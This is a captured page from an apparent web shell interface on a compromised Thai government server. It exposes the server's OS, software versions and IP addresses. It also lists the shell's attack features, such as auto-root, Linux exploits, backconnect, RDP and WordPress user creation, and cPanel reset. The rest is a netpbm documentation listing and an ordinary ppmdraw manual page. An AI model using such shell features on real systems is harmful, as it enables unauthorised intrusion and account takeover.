Linux ns8.secondary29.go.th 2.6.32-754.28.1.el6.x86_64 #1 SMP Wed Mar 11 18:38:45 UTC 2020 x86_64
Apache/2.2.15 (CentOS)
: 122.154.134.11 | : 122.154.134.9
Cant Read [ /etc/named.conf ]
5.6.40
apache
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
netpbm-10.47.05 /
userguide /
[ HOME SHELL ]
Name
Size
Permission
Action
411toppm.html
1.76
KB
-rw-r--r--
anytopnm.html
2.56
KB
-rw-r--r--
asciitopgm.html
2.4
KB
-rw-r--r--
atktopbm.html
945
B
-rw-r--r--
bioradtopgm.html
1.43
KB
-rw-r--r--
blend1.gif
18.25
KB
-rw-r--r--
blend3.gif
21.23
KB
-rw-r--r--
blend4.gif
24.56
KB
-rw-r--r--
blend6.gif
21.87
KB
-rw-r--r--
blend7.gif
26.28
KB
-rw-r--r--
bmptopnm.html
2.13
KB
-rw-r--r--
bmptoppm.html
562
B
-rw-r--r--
brushtopbm.html
953
B
-rw-r--r--
cameratopam.html
5.21
KB
-rw-r--r--
cistopbm.html
1.36
KB
-rw-r--r--
cmuwmtopbm.html
945
B
-rw-r--r--
ddbugtopbm.html
3.22
KB
-rw-r--r--
directory.html
32.33
KB
-rw-r--r--
escp2topbm.html
2.21
KB
-rw-r--r--
extendedopacity.html
6.7
KB
-rw-r--r--
eyuvtoppm.html
1.1
KB
-rw-r--r--
faxformat.html
3.66
KB
-rw-r--r--
fiascotopnm.html
6.04
KB
-rw-r--r--
fitstopnm.html
3.7
KB
-rw-r--r--
flatebug.png
32.86
KB
-rw-r--r--
fstopgm.html
1.95
KB
-rw-r--r--
g3topbm.html
4.36
KB
-rw-r--r--
gemtopbm.html
512
B
-rw-r--r--
gemtopnm.html
1.38
KB
-rw-r--r--
giftopnm.html
7.57
KB
-rw-r--r--
globe.jpg
14.04
KB
-rw-r--r--
gobot.gif
1.37
KB
-rw-r--r--
gouldtoppm.html
911
B
-rw-r--r--
hdifftopam.html
1.5
KB
-rw-r--r--
hipstopgm.html
1.03
KB
-rw-r--r--
hpcdtoppm.html
11.18
KB
-rw-r--r--
icontopbm.html
903
B
-rw-r--r--
ilbmtoppm.html
3.29
KB
-rw-r--r--
imgtoppm.html
1.03
KB
-rw-r--r--
index.html
41.28
KB
-rw-r--r--
infotopam.html
6.53
KB
-rw-r--r--
jbigtopnm.html
3.91
KB
-rw-r--r--
jpeg2ktopam.html
5.3
KB
-rw-r--r--
jpegtopnm.html
12.51
KB
-rw-r--r--
leaftoppm.html
1.1
KB
-rw-r--r--
liberror.html
8.46
KB
-rw-r--r--
libmaketmpfile.html
2.43
KB
-rw-r--r--
libmaketmpfilefd.html
1.72
KB
-rw-r--r--
libnetpbm.html
3.55
KB
-rw-r--r--
libnetpbm_dir.html
9.03
KB
-rw-r--r--
libnetpbm_draw.html
4.22
KB
-rw-r--r--
libnetpbm_image.html
23.34
KB
-rw-r--r--
libnetpbm_ug.html
10.79
KB
-rw-r--r--
libpbm.html
9.34
KB
-rw-r--r--
libpgm.html
7.63
KB
-rw-r--r--
libpm.html
16.81
KB
-rw-r--r--
libpnm.html
9.87
KB
-rw-r--r--
libppm.html
26.63
KB
-rw-r--r--
libsystem.html
14.36
KB
-rw-r--r--
libtmpfile.html
1.71
KB
-rw-r--r--
libtmpfilefd.html
1.3
KB
-rw-r--r--
lispmtopgm.html
1.94
KB
-rw-r--r--
macptopbm.html
1.87
KB
-rw-r--r--
manweb.html
9.26
KB
-rw-r--r--
mdatopbm.html
1.61
KB
-rw-r--r--
mgrtopbm.html
1.03
KB
-rw-r--r--
mrf.html
4.3
KB
-rw-r--r--
mrftopbm.html
1.54
KB
-rw-r--r--
mtvtoppm.html
1.04
KB
-rw-r--r--
neotoppm.html
1.18
KB
-rw-r--r--
palmtopnm.html
3.49
KB
-rw-r--r--
pam.html
11.75
KB
-rw-r--r--
pamaddnoise.html
3.96
KB
-rw-r--r--
pamarith.html
10.82
KB
-rw-r--r--
pambackground.html
4.85
KB
-rw-r--r--
pambayer.html
3.54
KB
-rw-r--r--
pamchannel.html
2.53
KB
-rw-r--r--
pamcomp.html
12.64
KB
-rw-r--r--
pamcut.html
6.69
KB
-rw-r--r--
pamdeinterlace.html
2.52
KB
-rw-r--r--
pamdepth.html
2.12
KB
-rw-r--r--
pamdice.html
4.52
KB
-rw-r--r--
pamditherbw.html
5.99
KB
-rw-r--r--
pamedge.html
2.24
KB
-rw-r--r--
pamendian.html
2.55
KB
-rw-r--r--
pamenlarge.html
2.18
KB
-rw-r--r--
pamfile.html
2.93
KB
-rw-r--r--
pamfixtrunc.html
3.12
KB
-rw-r--r--
pamflip.html
8.42
KB
-rw-r--r--
pamfunc.html
8.51
KB
-rw-r--r--
pamgauss.html
3.7
KB
-rw-r--r--
pamgradient.html
2.88
KB
-rw-r--r--
pamlookup.html
9.66
KB
-rw-r--r--
pammasksharpen.html
4.62
KB
-rw-r--r--
pammixinterlace.html
3.1
KB
-rw-r--r--
pamoil.html
2.36
KB
-rw-r--r--
pamperspective.html
17.28
KB
-rw-r--r--
pampick.html
2.35
KB
-rw-r--r--
pampop9.html
2.4
KB
-rw-r--r--
pamrgbatopng.html
2.26
KB
-rw-r--r--
pamscale.html
25.23
KB
-rw-r--r--
pamseq.html
2.77
KB
-rw-r--r--
pamsharpmap.html
2.38
KB
-rw-r--r--
pamsharpness.html
1.73
KB
-rw-r--r--
pamsistoaglyph.html
6.65
KB
-rw-r--r--
pamslice.html
4.2
KB
-rw-r--r--
pamsplit.html
2.8
KB
-rw-r--r--
pamstack.html
3.41
KB
-rw-r--r--
pamstereogram.html
10.08
KB
-rw-r--r--
pamstretch-gen.html
1.62
KB
-rw-r--r--
pamstretch.html
3.72
KB
-rw-r--r--
pamsumm.html
3.64
KB
-rw-r--r--
pamsummcol.html
4.1
KB
-rw-r--r--
pamthreshold.html
6.25
KB
-rw-r--r--
pamtilt.html
4.53
KB
-rw-r--r--
pamtodjvurle.html
1.78
KB
-rw-r--r--
pamtofits.html
4
KB
-rw-r--r--
pamtogif.html
13.12
KB
-rw-r--r--
pamtohdiff.html
3.32
KB
-rw-r--r--
pamtohtmltbl.html
2.71
KB
-rw-r--r--
pamtojpeg2k.html
8.36
KB
-rw-r--r--
pamtompfont.html
2.07
KB
-rw-r--r--
pamtooctaveimg.html
3.21
KB
-rw-r--r--
pamtopam.html
1.67
KB
-rw-r--r--
pamtopfm.html
3.1
KB
-rw-r--r--
pamtopnm.html
2.77
KB
-rw-r--r--
pamtosvg.html
7.02
KB
-rw-r--r--
pamtotga.html
4.42
KB
-rw-r--r--
pamtotiff.html
21.19
KB
-rw-r--r--
pamtouil.html
2.49
KB
-rw-r--r--
pamtoxvmini.html
1.09
KB
-rw-r--r--
pamundice.html
6.96
KB
-rw-r--r--
pamx.html
8.02
KB
-rw-r--r--
pbm.html
5.8
KB
-rw-r--r--
pbmclean.html
3.45
KB
-rw-r--r--
pbmlife.html
1
KB
-rw-r--r--
pbmmake.html
1.32
KB
-rw-r--r--
pbmmask.html
2.89
KB
-rw-r--r--
pbmminkowski.html
529
B
-rw-r--r--
pbmpage.html
2.84
KB
-rw-r--r--
pbmpscale.html
1.82
KB
-rw-r--r--
pbmreduce.html
2.29
KB
-rw-r--r--
pbmtext.html
9.38
KB
-rw-r--r--
pbmtextps.html
3.46
KB
-rw-r--r--
pbmto10x.html
1.37
KB
-rw-r--r--
pbmto4425.html
1.75
KB
-rw-r--r--
pbmtoascii.html
1.75
KB
-rw-r--r--
pbmtoatk.html
934
B
-rw-r--r--
pbmtobbnbg.html
1.32
KB
-rw-r--r--
pbmtocis.html
1.49
KB
-rw-r--r--
pbmtocmuwm.html
1.03
KB
-rw-r--r--
pbmtodjvurle.html
1.18
KB
-rw-r--r--
pbmtoepsi.html
3.24
KB
-rw-r--r--
pbmtoepson.html
3.11
KB
-rw-r--r--
pbmtoescp2.html
3.94
KB
-rw-r--r--
pbmtog3.html
2.24
KB
-rw-r--r--
pbmtogem.html
1.16
KB
-rw-r--r--
pbmtogo.html
1.24
KB
-rw-r--r--
pbmtoibm23xx.html
2.31
KB
-rw-r--r--
pbmtoicon.html
1005
B
-rw-r--r--
pbmtolj.html
3.34
KB
-rw-r--r--
pbmtoln03.html
1.45
KB
-rw-r--r--
pbmtolps.html
1.48
KB
-rw-r--r--
pbmtomacp.html
1.81
KB
-rw-r--r--
pbmtomatrixorbital.html
1.46
KB
-rw-r--r--
pbmtomda.html
1.75
KB
-rw-r--r--
pbmtomgr.html
1.03
KB
-rw-r--r--
pbmtomrf.html
1.4
KB
-rw-r--r--
pbmtonokia.html
3.28
KB
-rw-r--r--
pbmtopgm.html
2.47
KB
-rw-r--r--
pbmtopi3.html
1.11
KB
-rw-r--r--
pbmtopk.html
4.3
KB
-rw-r--r--
pbmtoplot.html
1.06
KB
-rw-r--r--
pbmtoppa.html
10.29
KB
-rw-r--r--
pbmtopsg3.html
1.8
KB
-rw-r--r--
pbmtoptx.html
1.05
KB
-rw-r--r--
pbmtowbmp.html
1.32
KB
-rw-r--r--
pbmtox10bm.html
631
B
-rw-r--r--
pbmtoxbm.html
1.49
KB
-rw-r--r--
pbmtoybm.html
1.13
KB
-rw-r--r--
pbmtozinc.html
1.11
KB
-rw-r--r--
pbmupc.html
1.91
KB
-rw-r--r--
pc1toppm.html
1.13
KB
-rw-r--r--
pcdindex.html
315
B
-rw-r--r--
pcdovtoppm.html
2.32
KB
-rw-r--r--
pcxtoppm.html
2.27
KB
-rw-r--r--
pfm.html
3.24
KB
-rw-r--r--
pfmtopam.html
1.89
KB
-rw-r--r--
pgm.html
6.86
KB
-rw-r--r--
pgmabel.html
3.27
KB
-rw-r--r--
pgmbentley.html
1.14
KB
-rw-r--r--
pgmcrater.html
6.58
KB
-rw-r--r--
pgmdeshadow.html
1.89
KB
-rw-r--r--
pgmedge.html
504
B
-rw-r--r--
pgmenhance.html
1.53
KB
-rw-r--r--
pgmhist.html
1.03
KB
-rw-r--r--
pgmkernel.html
2.26
KB
-rw-r--r--
pgmmake.html
1.72
KB
-rw-r--r--
pgmmedian.html
3.39
KB
-rw-r--r--
pgmminkowski.html
3.48
KB
-rw-r--r--
pgmmorphconv.html
3.87
KB
-rw-r--r--
pgmnoise.html
1.86
KB
-rw-r--r--
pgmnorm.html
504
B
-rw-r--r--
pgmoil.html
492
B
-rw-r--r--
pgmramp.html
2.7
KB
-rw-r--r--
pgmslice.html
478
B
-rw-r--r--
pgmtexture.html
2.16
KB
-rw-r--r--
pgmtofs.html
1.08
KB
-rw-r--r--
pgmtolispm.html
1.81
KB
-rw-r--r--
pgmtopbm.html
1.58
KB
-rw-r--r--
pgmtopgm.html
1.64
KB
-rw-r--r--
pgmtoppm.html
4.08
KB
-rw-r--r--
pi1toppm.html
1.17
KB
-rw-r--r--
pi3topbm.html
1.12
KB
-rw-r--r--
picttoppm.html
5.36
KB
-rw-r--r--
pjtoppm.html
1.27
KB
-rw-r--r--
pktopbm.html
2.04
KB
-rw-r--r--
pngtopam.html
8.02
KB
-rw-r--r--
pngtopnm.html
1.87
KB
-rw-r--r--
pnm.html
1.86
KB
-rw-r--r--
pnmalias.html
2.81
KB
-rw-r--r--
pnmarith.html
752
B
-rw-r--r--
pnmcat.html
2.42
KB
-rw-r--r--
pnmcolormap.html
8.08
KB
-rw-r--r--
pnmcomp.html
2.05
KB
-rw-r--r--
pnmconvol.html
11.35
KB
-rw-r--r--
pnmcrop.html
6.18
KB
-rw-r--r--
pnmcut.html
1000
B
-rw-r--r--
pnmdepth.html
840
B
-rw-r--r--
pnmenlarge.html
534
B
-rw-r--r--
pnmfile.html
509
B
-rw-r--r--
pnmflip.html
953
B
-rw-r--r--
pnmgamma.html
12.02
KB
-rw-r--r--
pnmhisteq.html
6.31
KB
-rw-r--r--
pnmhistmap.html
5.21
KB
-rw-r--r--
pnmindex.html
3.14
KB
-rw-r--r--
pnminterp.html
569
B
-rw-r--r--
pnminvert.html
1.27
KB
-rw-r--r--
pnmmargin.html
1.77
KB
-rw-r--r--
pnmmercator.html
5.44
KB
-rw-r--r--
pnmmontage.html
4.49
KB
-rw-r--r--
pnmnlfilt.html
7.24
KB
-rw-r--r--
pnmnoraw.html
751
B
-rw-r--r--
pnmnorm.html
10.82
KB
-rw-r--r--
pnmpad.html
4.78
KB
-rw-r--r--
pnmpaste.html
3.63
KB
-rw-r--r--
pnmpsnr.html
2.1
KB
-rw-r--r--
pnmquant.html
2.39
KB
-rw-r--r--
pnmremap.html
10.68
KB
-rw-r--r--
pnmrotate.html
4.94
KB
-rw-r--r--
pnmscale.html
1.01
KB
-rw-r--r--
pnmscalefixed.html
2.66
KB
-rw-r--r--
pnmshear.html
3.81
KB
-rw-r--r--
pnmsmooth.html
3.24
KB
-rw-r--r--
pnmsplit.html
676
B
-rw-r--r--
pnmstitch.html
4.03
KB
-rw-r--r--
pnmtile.html
1.4
KB
-rw-r--r--
pnmtoddif.html
2.26
KB
-rw-r--r--
pnmtofiasco.html
10.94
KB
-rw-r--r--
pnmtofits.html
495
B
-rw-r--r--
pnmtojbig.html
9.61
KB
-rw-r--r--
pnmtojpeg.html
21.33
KB
-rw-r--r--
pnmtopalm.html
9.55
KB
-rw-r--r--
pnmtopclxl.html
6
KB
-rw-r--r--
pnmtoplainpnm.html
733
B
-rw-r--r--
pnmtopng.html
17.96
KB
-rw-r--r--
pnmtopnm.html
2.51
KB
-rw-r--r--
pnmtops.html
15.06
KB
-rw-r--r--
pnmtorast.html
1.53
KB
-rw-r--r--
pnmtorle.html
3.25
KB
-rw-r--r--
pnmtosgi.html
1.96
KB
-rw-r--r--
pnmtosir.html
1.14
KB
-rw-r--r--
pnmtotiff.html
495
B
-rw-r--r--
pnmtotiffcmyk.html
7.16
KB
-rw-r--r--
pnmtoxwd.html
1.69
KB
-rw-r--r--
ppm.html
6.75
KB
-rw-r--r--
ppm3d.html
4.3
KB
-rw-r--r--
ppmbrighten.html
5.67
KB
-rw-r--r--
ppmchange.html
5.5
KB
-rw-r--r--
ppmcie.html
13.67
KB
-rw-r--r--
ppmcolormask.html
3.95
KB
-rw-r--r--
ppmcolors.html
497
B
-rw-r--r--
ppmdcfont.html
1.63
KB
-rw-r--r--
ppmddumpfont.html
1.11
KB
-rw-r--r--
ppmdim.html
1.34
KB
-rw-r--r--
ppmdist.html
2.07
KB
-rw-r--r--
ppmdither.html
2.05
KB
-rw-r--r--
ppmdmkfont.html
1.26
KB
-rw-r--r--
ppmdraw.html
8.33
KB
-rw-r--r--
ppmfade.html
4.86
KB
-rw-r--r--
ppmflash.html
2.04
KB
-rw-r--r--
ppmforge.html
16.43
KB
-rw-r--r--
ppmglobe.html
4.93
KB
-rw-r--r--
ppmhist.html
4.72
KB
-rw-r--r--
ppmlabel.html
5.82
KB
-rw-r--r--
ppmmake.html
1.9
KB
-rw-r--r--
ppmmix.html
1.35
KB
-rw-r--r--
ppmnorm.html
538
B
-rw-r--r--
ppmntsc.html
3.06
KB
-rw-r--r--
ppmpat.html
2.65
KB
-rw-r--r--
ppmquant.html
2.82
KB
-rw-r--r--
ppmquantall.html
2.16
KB
-rw-r--r--
ppmrainbow.html
3.37
KB
-rw-r--r--
ppmrelief.html
1.25
KB
-rw-r--r--
ppmrough.html
4.88
KB
-rw-r--r--
ppmshadow.html
10.07
KB
-rw-r--r--
ppmshift.html
2.4
KB
-rw-r--r--
ppmspread.html
1.37
KB
-rw-r--r--
ppmsvgalib.html
4.55
KB
-rw-r--r--
ppmtoacad.html
5.64
KB
-rw-r--r--
ppmtoarbtxt.html
5.09
KB
-rw-r--r--
ppmtobmp.html
3.99
KB
-rw-r--r--
ppmtoeyuv.html
1.28
KB
-rw-r--r--
ppmtogif.html
2.63
KB
-rw-r--r--
ppmtoicr.html
3.77
KB
-rw-r--r--
ppmtoilbm.html
5.25
KB
-rw-r--r--
ppmtojpeg.html
590
B
-rw-r--r--
ppmtoleaf.html
1.15
KB
-rw-r--r--
ppmtolj.html
1.97
KB
-rw-r--r--
ppmtomap.html
1.12
KB
-rw-r--r--
ppmtomitsu.html
4.1
KB
-rw-r--r--
ppmtompeg-par.gif
36.52
KB
-rw-r--r--
ppmtompeg-snr.gif
2.3
KB
-rw-r--r--
ppmtompeg.html
45.06
KB
-rw-r--r--
ppmtoneo.html
1.18
KB
-rw-r--r--
ppmtopcx.html
5.92
KB
-rw-r--r--
ppmtopgm.html
2.09
KB
-rw-r--r--
ppmtopi1.html
1.14
KB
-rw-r--r--
ppmtopict.html
1.67
KB
-rw-r--r--
ppmtopj.html
2.89
KB
-rw-r--r--
ppmtopjxl.html
3.02
KB
-rw-r--r--
ppmtoppm.html
1.8
KB
-rw-r--r--
ppmtopuzz.html
1.17
KB
-rw-r--r--
ppmtorgb3.html
1.55
KB
-rw-r--r--
ppmtosixel.html
2.67
KB
-rw-r--r--
ppmtoterm.html
2.79
KB
-rw-r--r--
ppmtotga.html
541
B
-rw-r--r--
ppmtouil.html
395
B
-rw-r--r--
ppmtowinicon.html
3.96
KB
-rw-r--r--
ppmtoxpm.html
6.95
KB
-rw-r--r--
ppmtoyuv.html
2.84
KB
-rw-r--r--
ppmtoyuvsplit.html
1.92
KB
-rw-r--r--
ppmtv.html
1.58
KB
-rw-r--r--
ppmwheel.html
1.84
KB
-rw-r--r--
psidtopgm.html
1.88
KB
-rw-r--r--
pstopnm.html
13.03
KB
-rw-r--r--
qrttoppm.html
982
B
-rw-r--r--
rasttopnm.html
1.26
KB
-rw-r--r--
rawtopgm.html
5.19
KB
-rw-r--r--
rawtoppm.html
2.98
KB
-rw-r--r--
rgb3toppm.html
1.27
KB
-rw-r--r--
rlatopam.html
1.34
KB
-rw-r--r--
rletopnm.html
3.79
KB
-rw-r--r--
sbigtopgm.html
1.3
KB
-rw-r--r--
sgitopnm.html
2.02
KB
-rw-r--r--
sirtopnm.html
1.22
KB
-rw-r--r--
sldtoppm.html
5.89
KB
-rw-r--r--
spctoppm.html
1.08
KB
-rw-r--r--
spottopgm.html
2.62
KB
-rw-r--r--
sputoppm.html
1.09
KB
-rw-r--r--
testimg.png
48.11
KB
-rw-r--r--
testimg_histbar.png
1.08
KB
-rw-r--r--
testimg_histdot.png
1014
B
-rw-r--r--
tgatoppm.html
2.12
KB
-rw-r--r--
thinkjettopbm.html
1.75
KB
-rw-r--r--
tifftopnm.html
13.08
KB
-rw-r--r--
vidtoppm.html
755
B
-rw-r--r--
wbmptopbm.html
1.31
KB
-rw-r--r--
winicontoppm.html
2.64
KB
-rw-r--r--
xbmtopbm.html
1.04
KB
-rw-r--r--
ximtoppm.html
2.14
KB
-rw-r--r--
xpmtoppm.html
2.62
KB
-rw-r--r--
xvminitoppm.html
1.38
KB
-rw-r--r--
xwdtopnm.html
4.34
KB
-rw-r--r--
ybmtopbm.html
1.12
KB
-rw-r--r--
yuvsplittoppm.html
1.68
KB
-rw-r--r--
yuvtoppm.html
1.54
KB
-rw-r--r--
zeisstopnm.html
1.33
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : ppmdraw.html
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 3.2//EN"> <HTML><HEAD><TITLE>Ppmdraw User Manual</TITLE></HEAD> <BODY> <H1>ppmdraw</H1> Updated: 22 June 2005 <BR> <A HREF="#index">Table Of Contents</A> <H2>NAME</H2> ppmdraw - draw lines, text, etc on a PPM image <H2 id="synopsis">SYNOPSIS</H2> <B>ppmdraw</B> { <B>-script=</B><I>script</I> | <B>-scriptfile=</B><i>filename</i> } [<b>-verbose</b>] [<I>ppmfile</I>] <P>All options can be abbreviated to their shortest unique prefix. You may use two hyphens instead of one to designate an option. You may use either white space or an equals sign between an option name and its value. <H2 id="description">DESCRIPTION</H2> <p>This program is part of <a href="index.html">Netpbm</a>. <p><B>ppmdraw</B> draws lines, shapes, text, etc. on a PPM image. It is essentially an easy-to-program front end to <b>libnetpbm</b>'s "ppmd" subroutines. It lets you create a human-friendly script to describe the drawing rather than write a C program. <p>You supply drawing instructions with a script, which you supply either in a file named by a <b>-scriptfile</b> option or as the value of a <b>-script</b> option. Here is an example script: <pre> <code> setpos 50 50; text_here 10 30 "hello"; setcolor black; text_here 10 0 "there"; line_here 5 20; </code> </pre> <p>This example starts at Column 50, Row 50 of the input image and writes the word "hello" there in 10 pixel high white letters at a 30 degree angle up from horizontal. Then, from where that leaves off, the script writes "there" in 10 pixel high black letters horizontally. Finally, it draws a black line to a point 5 pixels over and 20 pixels down from the end of "there." <P>If you don't specify <I>ppmfile</I>, <B>ppmdraw</B> reads its input PPM image from Standard Input. <P>The output image goes to Standard Output. <p><b>ppmdraw</b> works on multi-image streams. It executes the same script on each input image and produces an output stream with one image for each input image. But before Netpbm 10.32 (February 2006), <b>ppmdraw</b> ignored every image after the first. <p>If you just want to add a single line of text to an image, <b>ppmlabel</b> may be more what you want. <H2 id="options">OPTIONS</H2> <DL COMPACT> <DT><B>-script=</B><I>script</I> <DD>This option gives the script. See <a href="#script">Script</a>. <p>You may not specify both <b>-script</b> and <b>-scriptfile</b>. <dt><b>-scriptfile=</b><i>filename</i> <dd>This option names a file that contains the script. <b>-</b> means Standard Input. <p>You may not specify both <b>-script</b> and <b>-scriptfile</b>. <p>You may not specify <b>-</b> (Standard Input) for both <b>-scriptfile</b> and the input image file. </DL> <H2 ID="script">SCRIPT</H2> <p>The heart of <b>ppmdraw</b> function is its script. The script is a character stream. The stream consists of commands. Commands are separated by semicolons. White space is regarded just like in C: Any contiguous stretch of unquoted white space is equivalent to a single space character. Note that this means newlines have no particular significance. <p>A command is composed of tokens, separated from each other by white space. To write a token that contains white space, enclose it in double quotes. Everything between two matched quotation marks is one token. <p>The first token of a command is the verb, which determines the basic function of the command. The rest of the tokens of the command are arguments, the meaning of which depends upon the verb. The following list gives all the valid verbs, and for each its meaning and its arguments. <p>Many command have arguments that specify a position on the canvas, which you specify by row and column. Row 0 is the top row. Column 0 is the leftmost column. You may specify negative numbers (but such a position would necessarily be off the canvas). <p>Your drawing instructions may involve positions not on the canvas. But any pixels you draw there just get discarded. <dl> <dt>setpos <dd>Set the "current position" in the image. This affects where subsequent commands draw things. The 2 arguments are the column and row number. <p>At the start of the script, the current position is (0,0). <dt>setlinetype <dd>The 1 argument is "normal" or "nodiag.". This effects a <b>ppmd_setlinetype()</b> call. Further details are not yet documented. <dt>setlineclip <dd>This effects a <b>ppmd_setlineclip()</b> call. Not yet documented. <dt>setcolor <dd>This sets the "current color", which determines the color in which subsequent drawing commands draw. Before the first <b>setcolor</b>, the current color is white. <dt>setfont <dd>This sets the "current font", which determines the font in which subsequent text drawing commands draw. Before the first <b>setfont</b>, the current color is a built in font called "standard." <p>The argument of this command is a file name. It is the name of a Netpbm PPMD font file. <p>A Netpbm PPMD font file typically has a name that ends in ".ppmdfont" and its first 8 bytes are the ASCII encoding of "ppmdfont". <p>There is only one of these fonts as far as we know. It is distributed with Netpbm as the file <b>standard.ppmdfont</b>, but you don't need to use that file because the same font is built into the Netpbm library and is the default. If you want to make a new font, you can find the format of a ppmdfont file in the Netpbm interface header file <b>ppmdfont.h</b>, but you'll have to make your own tools to build it. <dt>line <dd>This draws a one pixel wide line in the current color. The 4 arguments are: starting column, starting row, ending column, ending row. <p>This command does not affect the current position. <dt>line_here <dd>This is like <b>line</b>, except it works in a more relative way. <p>The line starts at the current point. The two arguments are the rightward and downard displacement from there of the terminal point. The command moves the current position to the terminal point after drawing. <dt>spline3 <dd>This draws a spline in the current color between 2 points, using a third as a control point. It approximates a cubic spline segment. <p>The shape of the curve is such that it passes through the specified endpoints, and lines tangent to the curve at those endpoints intersect at the control point. Controlling the tangents allows you to connect this curve to other curves generated the same way without having corners at the connection points. <p>The 6 arguments are the starting point column, starting point row, control point column, control point row, ending point column, and ending point row. <p>This command does not affect the current position. <dt>circle <dd>This command draws a circle in the current color. The three arguments are the column number and row number of the center of the circle and the radius of the circle in pixels. <dt>filledrectangle <dd>This command draws a rectangle filled with the current color. The 4 arguments are the column and row numbers of the upper left corner of the rectangle, the width of the rectangle, and the height of the rectangle. <dt>text <dd>This command draws text in the current color in the built-in font. The 5 arguments are: <ol> <li>column number of starting point of baseline <li>row number of starting point of baseline <li>height of characters, in pixels <li>angle of baseline in degrees elevated from the horizontal <li>text </ol> <p>Note that if your text contains white space, you'll have to use double quotes to cause it to be a single token. <dt>text_here <dd>This is like <b>text</b>, except that the baseline starts at the current position and the command updates the current position to the other end of the baseline after it draws. <p>Bear in mind that a script starts with the current position in the top line, so if you leave it there, only the bottom line of your text will be within the image! </dl> <h2 id="history">HISTORY</h2> <P><B>ppmdraw</B> was new in Netpbm 10.29 (August 2005). <H2 id="seealso">SEE ALSO</H2> <B><A HREF="ppmlabel.html">ppmlabel</A></B>, <B><A HREF="ppm.html">ppm</A></B> <HR> <A NAME="index"> </A> <H2>Table Of Contents</H2> <UL> <LI><A HREF="#synopsis">SYNOPSIS</A> <LI><A HREF="#description">DESCRIPTION</A> <LI><A HREF="#options">OPTIONS</A> <LI><A HREF="#script">SCRIPT</A> <LI><A HREF="#seealso">SEE ALSO</A> </UL> </BODY> </HTML>
Close